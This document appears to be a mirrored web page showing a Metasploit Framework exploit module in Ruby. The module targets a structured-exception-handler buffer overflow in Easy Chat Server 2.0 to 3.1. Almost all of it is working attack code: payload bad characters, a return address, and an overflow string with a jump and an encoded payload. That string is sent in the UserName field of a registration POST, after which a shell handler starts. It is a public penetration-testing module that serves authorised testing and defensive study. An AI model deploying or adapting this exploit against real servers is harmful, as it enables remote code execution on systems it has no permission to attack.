CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/easychatserver_seh.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = NormalRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
15
'Description' => %q{
16
This module exploits a buffer overflow during user registration in Easy Chat Server software.
17
},
18
'Author' =>
19
[
20
'Marco Rivoli', #Metasploit
21
'Aitezaz Mohsin' #POC
22
],
23
'License' => MSF_LICENSE,
24
'References' =>
25
[
26
[ 'EDB', '42155' ],
27
],
28
'Privileged' => true,
29
'Payload' =>
30
{
31
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
32
},
33
'Platform' => 'win',
34
'Targets' =>
35
[
36
[ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
37
],
38
'DefaultOptions' => {
39
'RPORT' => 80,
40
'EXITFUNC' => 'thread',
41
'ENCODER' => 'x86/alpha_mixed'
42
},
43
'DisclosureDate' => '2017-10-09',
44
'DefaultTarget' => 0))
45
end
46
47
def exploit
48
sploit = rand_text_alpha_upper(217)
49
sploit << "\xeb\x06\x90\x90"
50
sploit << [target.ret].pack('V')
51
sploit << payload.encoded
52
sploit << rand_text_alpha_upper(200)
53
54
res = send_request_cgi({
55
'uri' => normalize_uri(URI,'registresult.htm'),
56
'method' => 'POST',
57
'vars_post' => {
58
'UserName' => sploit,
59
'Password' => 'test',
60
'Password1' => 'test',
61
'Sex' => 1,
62
'Email' => 'x@',
63
'Icon' => 'x.gif',
64
'Resume' => 'xxxx',
65
'cw' => 1,
66
'RoomID' => 4,
67
'RepUserName' => 'admin',
68
'submit1' => 'Register'
69
}
70
})
71
handler
72
73
end
74
end
75
76